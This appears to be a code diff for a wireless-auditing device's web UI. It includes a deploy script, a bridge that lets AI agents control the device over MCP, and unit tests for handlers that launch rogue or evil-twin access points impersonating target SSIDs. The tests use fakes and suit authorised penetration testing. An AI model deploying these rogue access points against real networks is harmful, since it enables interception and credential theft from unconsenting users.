delete_forever: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19M8.46,11.88L9.87,10.47L12,12.59L14.12,10.47L15.53,11.88L13.41,14L15.53,16.12L14.12,17.53L12,15.41L9.88,17.53L8.47,16.12L10.59,14L8.46,11.88M15.5,4L14.5,3H9.5L8.5,4H5V6H19V4H15.5Z"/></svg>',
|
||||
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>',
|
||||
search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>',
|
||||
first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>',
|
||||
@@ -30,5 +33,11 @@ window.PineappleIcons = {
|
||||
help: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 1,0 22,12A10,10 0 0,0 12,2M13,19H11V17H13V19M15.07,11.25L14.17,12.17C13.45,12.9 13,13.5 13,15H11V14.5C11,13.4 11.45,12.4 12.17,11.67L13.41,10.41C13.78,10.05 14,9.55 14,9A2,2 0 0,0 10,9H8A4,4 0 0,1 16,9C16,9.88 15.64,10.68 15.07,11.25Z"/></svg>',
|
||||
update: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21,10.12H14.22L16.96,7.3C14.23,4.6 9.81,4.5 7.08,7.2A6.85,6.85 0 0,0 7.08,17C9.81,19.7 14.23,19.7 16.96,17C18.32,15.65 19,14.08 19,12.1H21C21,14.08 20.18,16.4 18.36,18.2C14.85,21.7 9.15,21.7 5.64,18.2C2.14,14.72 2.14,9.05 5.64,5.57C9.15,2.08 14.85,2.08 18.36,5.57L21,2.88V10.12M12.5,8V12.25L16,14.33L15.28,15.54L11,13V8H12.5Z"/></svg>',
|
||||
logout: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14.08,15.59L16.67,13H7V11H16.67L14.08,8.41L15.5,7L20.5,12L15.5,17L14.08,15.59M5,3H13A2,2 0 0,1 15,5V8H13V5H5V19H13V16H15V19A2,2 0 0,1 13,21H5A2,2 0 0,1 3,19V5A2,2 0 0,1 5,3Z"/></svg>',
|
||||
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>'
|
||||
reboot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M13,3H11V13H13V3M17.83,5.17L16.42,6.58A7,7 0 1,1 7.58,6.58L6.17,5.17A9,9 0 1,0 17.83,5.17Z"/></svg>',
|
||||
table_chart: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,20H9V4H12V20M19,20H16V10H19V20M5,20H2V14H5V20Z"/></svg>',
|
||||
description: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,2H6C4.9,2 4,2.9 4,4V20C4,21.1 4.9,22 6,22H18C19.1,22 20,21.1 20,20V8L14,2M18,20H6V4H13V9H18V20M16,18H8V16H16V18M16,14H8V12H16V14Z"/></svg>',
|
||||
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
|
||||
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
|
||||
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
|
||||
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>'
|
||||
};
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Executable
+186
@@ -0,0 +1,186 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
PAGER_HOST="172.16.52.1"
|
||||
PAGER_USER="root"
|
||||
PASSWORD=""
|
||||
SSH_KEY=""
|
||||
BUILD_DIR=""
|
||||
PORTAL_REFRESH=true
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/deploy.sh [options]
|
||||
|
||||
Options:
|
||||
--host HOST Pager address (default: 172.16.52.1)
|
||||
--user USER SSH user (default: root)
|
||||
--password PASSWORD SSH/device password (requires sshpass)
|
||||
--ssh-key PATH SSH private key
|
||||
--build-dir PATH Build output directory (default: <repo>/build)
|
||||
--no-portal-refresh Skip the best-effort portal refresh
|
||||
-h, --help Show this help
|
||||
|
||||
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
|
||||
EOF
|
||||
}
|
||||
|
||||
while (($#)); do
|
||||
case "$1" in
|
||||
--host) PAGER_HOST="${2:?missing value for --host}"; shift 2 ;;
|
||||
--user) PAGER_USER="${2:?missing value for --user}"; shift 2 ;;
|
||||
--password) PASSWORD="${2:?missing value for --password}"; shift 2 ;;
|
||||
--ssh-key) SSH_KEY="${2:?missing value for --ssh-key}"; shift 2 ;;
|
||||
--build-dir) BUILD_DIR="${2:?missing value for --build-dir}"; shift 2 ;;
|
||||
--no-portal-refresh) PORTAL_REFRESH=false; shift ;;
|
||||
-h|--help) usage; exit 0 ;;
|
||||
*) printf 'Unknown option: %s\n' "$1" >&2; usage >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
for command in python3 zip scp ssh; do
|
||||
command -v "$command" >/dev/null || {
|
||||
printf 'Required command not found: %s\n' "$command" >&2
|
||||
exit 1
|
||||
}
|
||||
done
|
||||
if [[ -n "$PASSWORD" ]] && ! command -v sshpass >/dev/null; then
|
||||
printf 'Password deployment requires sshpass (brew install hudochenkov/sshpass/sshpass).\n' >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
PAYLOAD_KEY="pager-webui"
|
||||
PAYLOAD_CATEGORY="remote_access"
|
||||
PAYLOAD_DIR="$ROOT/payload/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||
BUILD_DIR="${BUILD_DIR:-$ROOT/build}"
|
||||
OUT_DIR="$BUILD_DIR/$PAYLOAD_KEY"
|
||||
STAGE="$OUT_DIR/stage"
|
||||
|
||||
[[ -d "$PAYLOAD_DIR" ]] || {
|
||||
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
mkdir -p "$OUT_DIR"
|
||||
rm -rf "$STAGE"
|
||||
mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
|
||||
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
|
||||
|
||||
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
|
||||
ZIP_NAME="payload-$B64_KEY.zip"
|
||||
ZIP_PATH="$OUT_DIR/$ZIP_NAME"
|
||||
MANIFEST_PATH="$OUT_DIR/_hak5_manifest.json"
|
||||
rm -f "$ZIP_PATH"
|
||||
(
|
||||
cd "$STAGE"
|
||||
zip -q -r "$ZIP_PATH" user
|
||||
)
|
||||
|
||||
HASH="$(python3 -c 'import hashlib, sys; print(hashlib.sha256(open(sys.argv[1], "rb").read()).hexdigest())' "$ZIP_PATH")"
|
||||
python3 - "$PAYLOAD_DIR/_hak5_manifest.json" "$MANIFEST_PATH" "$HASH" "$ZIP_NAME" <<'PY'
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
|
||||
source, destination, digest, zip_name = sys.argv[1:]
|
||||
with open(source, encoding='utf-8') as handle:
|
||||
manifest = json.load(handle)
|
||||
manifest['time'] = int(time.time())
|
||||
manifest['last_hash'] = digest
|
||||
manifest['zip'] = zip_name
|
||||
with open(destination, 'w', encoding='ascii') as handle:
|
||||
json.dump(manifest, handle, indent=2)
|
||||
handle.write('\n')
|
||||
PY
|
||||
printf 'Built: %s\n' "$ZIP_PATH"
|
||||
|
||||
TARGET="$PAGER_USER@$PAGER_HOST"
|
||||
|
||||
run_scp() {
|
||||
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e scp -i "$SSH_KEY" "$@"
|
||||
elif [[ -n "$PASSWORD" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e scp "$@"
|
||||
elif [[ -n "$SSH_KEY" ]]; then
|
||||
scp -i "$SSH_KEY" "$@"
|
||||
else
|
||||
scp "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
run_ssh() {
|
||||
if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e ssh -i "$SSH_KEY" "$@"
|
||||
elif [[ -n "$PASSWORD" ]]; then
|
||||
SSHPASS="$PASSWORD" sshpass -e ssh "$@"
|
||||
elif [[ -n "$SSH_KEY" ]]; then
|
||||
ssh -i "$SSH_KEY" "$@"
|
||||
else
|
||||
ssh "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/"
|
||||
|
||||
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
|
||||
LEGACY_PAYLOAD_DIR="user/general/$PAYLOAD_KEY"
|
||||
REMOTE_COMMAND="set -e
|
||||
cd /root/payloads
|
||||
stage='.pager-webui.deploy.\$\$'
|
||||
backup='.pager-webui.backup.\$\$'
|
||||
trap 'rm -rf \"\$stage\" \"\$backup\"' EXIT
|
||||
mkdir -p \"\$stage\"
|
||||
cd \"\$stage\"
|
||||
unzip -q '/tmp/$ZIP_NAME'
|
||||
new=\"\$PWD/$REMOTE_PAYLOAD_DIR\"
|
||||
[ -f \"\$new/server.py\" ] && [ -f \"\$new/payload.sh\" ] && [ -d \"\$new/www\" ]
|
||||
cp /tmp/_hak5_manifest.json \"\$new/_hak5_manifest.json\"
|
||||
chmod +x \"\$new/payload.sh\" \"\$new/pagerwebui.init\"
|
||||
chmod -R 755 \"\$new/www\"
|
||||
cd /root/payloads
|
||||
if [ -d '$REMOTE_PAYLOAD_DIR' ]; then
|
||||
mkdir -p \"\$(dirname \"\$backup\")\"
|
||||
mv '$REMOTE_PAYLOAD_DIR' \"\$backup\"
|
||||
fi
|
||||
if mv \"\$new\" '$REMOTE_PAYLOAD_DIR'; then
|
||||
rm -rf \"\$backup\" '$LEGACY_PAYLOAD_DIR'
|
||||
else
|
||||
[ ! -d \"\$backup\" ] || mv \"\$backup\" '$REMOTE_PAYLOAD_DIR'
|
||||
exit 1
|
||||
fi
|
||||
rm -f '/tmp/$ZIP_NAME' /tmp/_hak5_manifest.json
|
||||
if [ -x /etc/init.d/pagerwebui ] && /etc/init.d/pagerwebui running >/dev/null 2>&1; then
|
||||
/etc/init.d/pagerwebui restart
|
||||
fi
|
||||
echo EXTRACT_OK"
|
||||
run_ssh "$TARGET" "$REMOTE_COMMAND"
|
||||
printf 'Installed to /root/payloads/%s/\n' "$REMOTE_PAYLOAD_DIR"
|
||||
|
||||
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
|
||||
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
|
||||
PORTAL_OK=false
|
||||
for attempt in 1 2 3; do
|
||||
if printf '%s\n' "$PASSWORD_B64" | run_ssh "$TARGET" 'read -r password_b64
|
||||
password=$(printf "%s" "$password_b64" | base64 -d)
|
||||
login_body=$(printf "%s" "$password" | python3 -c '"'"'import json, sys; print(json.dumps({"username": "root", "password": sys.stdin.read()}))'"'"')
|
||||
token=$(curl -sS -X POST http://127.0.0.1:1471/api/login -H "Content-Type: application/json" -d "$login_body" |
|
||||
python3 -c '"'"'import json, sys; print(json.load(sys.stdin).get("token", ""))'"'"')
|
||||
[ -n "$token" ] &&
|
||||
curl -fsS -X POST http://127.0.0.1:1471/api/payloads/portal/refresh -H "Authorization: Bearer $token" >/dev/null'; then
|
||||
PORTAL_OK=true
|
||||
break
|
||||
fi
|
||||
sleep 2
|
||||
done
|
||||
if $PORTAL_OK; then
|
||||
printf 'Portal refreshed.\n'
|
||||
else
|
||||
printf 'Warning: portal refresh failed; payload installation is complete.\n' >&2
|
||||
fi
|
||||
elif $PORTAL_REFRESH; then
|
||||
printf 'Skipping portal refresh without --password; payload installation is complete.\n'
|
||||
fi
|
||||
|
||||
printf 'Deploy complete. Browse http://%s:8080/\n' "$PAGER_HOST"
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/env python3
|
||||
"""stdio bridge to the Mark VIII MCP server.
|
||||
|
||||
Agents that only support stdio transport can run:
|
||||
|
||||
MCP_URL=http://172.16.52.1:8080/mcp \
|
||||
MCP_TOKEN=<device session token> \
|
||||
python3 scripts/harness_stdio.py
|
||||
|
||||
JSON-RPC messages are read line-by-line from stdin (one JSON object per
|
||||
line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP
|
||||
MCP endpoint. Responses are printed back on stdout as single-line JSON.
|
||||
|
||||
Get a token from the Mark VIII Harness page, or fetch one:
|
||||
|
||||
curl -s -X POST http://172.16.52.1:8080/api/login \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"username":"root","password":"<device password>"}' \
|
||||
-c cookies.txt
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import urllib.request
|
||||
|
||||
URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp')
|
||||
TOKEN = os.environ.get('MCP_TOKEN', '')
|
||||
|
||||
|
||||
def forward(msg):
|
||||
data = json.dumps(msg).encode()
|
||||
req = urllib.request.Request(URL, data=data, method='POST')
|
||||
req.add_header('Content-Type', 'application/json')
|
||||
req.add_header('Accept', 'application/json, text/event-stream')
|
||||
if TOKEN:
|
||||
req.add_header('Authorization', 'Bearer ' + TOKEN)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=120) as resp:
|
||||
return resp.read().decode()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
|
||||
'error': {'code': exc.code, 'message': exc.read().decode()[:300]}})
|
||||
except Exception as exc: # noqa: BLE001
|
||||
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
|
||||
'error': {'code': -32000, 'message': str(exc)}})
|
||||
|
||||
|
||||
def main():
|
||||
if not TOKEN:
|
||||
print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr)
|
||||
for line in sys.stdin:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
msg = json.loads(line)
|
||||
except ValueError:
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': None,
|
||||
'error': {'code': -32700, 'message': 'parse error'}}))
|
||||
continue
|
||||
print(forward(msg), flush=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,326 @@
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None, query=None):
|
||||
return type('C', (), {'body': body, 'args': (), 'query': query or {}})()
|
||||
|
||||
|
||||
class FakeUciDevice:
|
||||
"""In-memory uci + device_run fake: 'uci set wireless.X=Y' state."""
|
||||
|
||||
def __init__(self):
|
||||
self.state = {}
|
||||
self.runs = []
|
||||
self.sock = []
|
||||
self._verify = True
|
||||
|
||||
def device_run(self, args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.state[k] = v
|
||||
elif a[:2] == ['uci', 'get']:
|
||||
return (0, self.state.get(a[2], '') + '\n', '')
|
||||
elif a[:2] == ['uci', 'delete']:
|
||||
for k in list(self.state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.state[k]
|
||||
elif a[:2] == ['uci', 'commit']:
|
||||
pass
|
||||
elif a[0] == 'uci' and a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
|
||||
return (0, 'state=ENABLED\nssid[0]=test\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
def uci_iface(self, name):
|
||||
cfg = {}
|
||||
prefix = 'wireless.%s.' % name
|
||||
for k, v in self.state.items():
|
||||
if k.startswith(prefix):
|
||||
cfg[k[len(prefix):]] = v
|
||||
if not cfg:
|
||||
return {}
|
||||
return cfg
|
||||
|
||||
def daemon_sock_call(self, method, path, body=None, timeout=10):
|
||||
self.sock.append((method, path, body))
|
||||
if path == '/api/pineap/hostapd/get_config':
|
||||
return 200, {'pineape_disabled': False, 'pineape_auth_pass': True}
|
||||
if path == '/api/pineap/get_config':
|
||||
return 200, {'autossidpool': True}
|
||||
return 200, {'success': True}
|
||||
|
||||
|
||||
class AttacksDeployTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
server.device_run = self.f.device_run
|
||||
server.daemon_sock_call = self.f.daemon_sock_call
|
||||
server._uci_wifi_iface = self.f.uci_iface
|
||||
server._uci_section = self.f.uci_iface
|
||||
server._verify_iface = lambda name, timeout=20: self.f._verify
|
||||
server._allow_all_ssids = lambda: True
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
|
||||
self.old_state = server.PINEAP_STATE_FILE
|
||||
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent = {k: getattr(server, k) for k in
|
||||
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
|
||||
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
|
||||
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
|
||||
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
|
||||
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent_running = server._ent_running
|
||||
self.old_ent_state = server._ent_state_loaded
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
|
||||
def tearDown(self):
|
||||
server.PINEAP_STATE_FILE = self.old_state
|
||||
server._ent_running = self.old_ent_running
|
||||
server._ent_state_loaded = self.old_ent_state
|
||||
for k, v in self.old_ent.items():
|
||||
setattr(server, k, v)
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['ok'])
|
||||
self.assertTrue(payload['verified'])
|
||||
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa')
|
||||
self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet')
|
||||
self.assertEqual(cfg['configs'][0]['key'], 'secretpass1')
|
||||
self.assertEqual(cfg['configs'][0]['enctype'], 'psk2')
|
||||
engines = [s for s in self.f.sock
|
||||
if s[1] in ('/api/pineap/hostapd/enable_pineap',
|
||||
'/api/pineap/mimic/enable')]
|
||||
self.assertEqual(len(engines), 2)
|
||||
|
||||
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
|
||||
server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_wpa_5g_writes_radio1(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp')
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2')
|
||||
self.assertEqual(self.f.state['wireless.radio1.channel'], '36')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
self.assertEqual(payload['iface'], 'wlan1wpa')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
|
||||
def test_deploy_wpa_auto_channel_defaults_to_1_without_recon(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'UnknownNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['auto'])
|
||||
self.assertEqual(payload['channel'], 1)
|
||||
self.assertEqual(payload['band'], server.BAND_2G)
|
||||
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['channel'], 1)
|
||||
|
||||
def test_deploy_wpa_auto_channel_uses_recon_target_channel(self):
|
||||
db = self._make_recon_db()
|
||||
old = server.RECON_DB
|
||||
server.RECON_DB = db
|
||||
try:
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'Anderson-5', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False}))
|
||||
finally:
|
||||
server.RECON_DB = old
|
||||
os.unlink(db)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['channel'], 149)
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
self.assertEqual(self.f.state['wireless.radio1.channel'], '149')
|
||||
|
||||
def _make_recon_db(self):
|
||||
fd, db = tempfile.mkstemp(suffix='.db')
|
||||
os.close(fd)
|
||||
conn = sqlite3.connect(db)
|
||||
conn.executescript(
|
||||
'CREATE TABLE scan(id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT,'
|
||||
' time INT, name TEXT);'
|
||||
'CREATE TABLE wifi_device(hash INT PRIMARY KEY, scan INT, mac TEXT,'
|
||||
' time INT, signal INT, freq INT, packets INT);'
|
||||
'CREATE TABLE ssid(hash INT PRIMARY KEY, wifi_device INT, scan INT,'
|
||||
' type INT, bssid TEXT, ssid BLOB, hidden INT, time INT, signal INT,'
|
||||
' freq INT, channel INT, encryption INT);')
|
||||
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u1', 1, 'pager')")
|
||||
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden,"
|
||||
" time, signal, freq, channel, encryption) VALUES"
|
||||
" (10, 1, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0,"
|
||||
" 1786466532, -76, 5745, 149, 0x400400108)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
return db
|
||||
|
||||
def test_deploy_open_2g4_includes_bssid_and_country(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'open', 'ssid': 'Guest', 'hidden': False,
|
||||
'channel': 1, 'country': 'US',
|
||||
'bssid': 'DE:AD:BE:EF:00:01'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan0open')
|
||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
|
||||
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
|
||||
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan1ent')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
|
||||
'type', 'managed'], cmds)
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
|
||||
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
|
||||
server.ENT_CONF], cmds)
|
||||
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
|
||||
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_enterprise_tears_down_engine(self):
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('wlan1ent', payload['stopped'])
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_validation(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short',
|
||||
'enctype': 'psk2', 'channel': 1}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'channel': 200}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_wpa_disables_both_bands(self):
|
||||
self.f.state['wireless.wlan0wpa.disabled'] = '0'
|
||||
self.f.state['wireless.wlan1wpa.disabled'] = '0'
|
||||
self.f.state['pineapd.wlan1mon.hop'] = '0'
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1')
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1')
|
||||
self.assertIn('wlan0wpa', payload['stopped'])
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1')
|
||||
|
||||
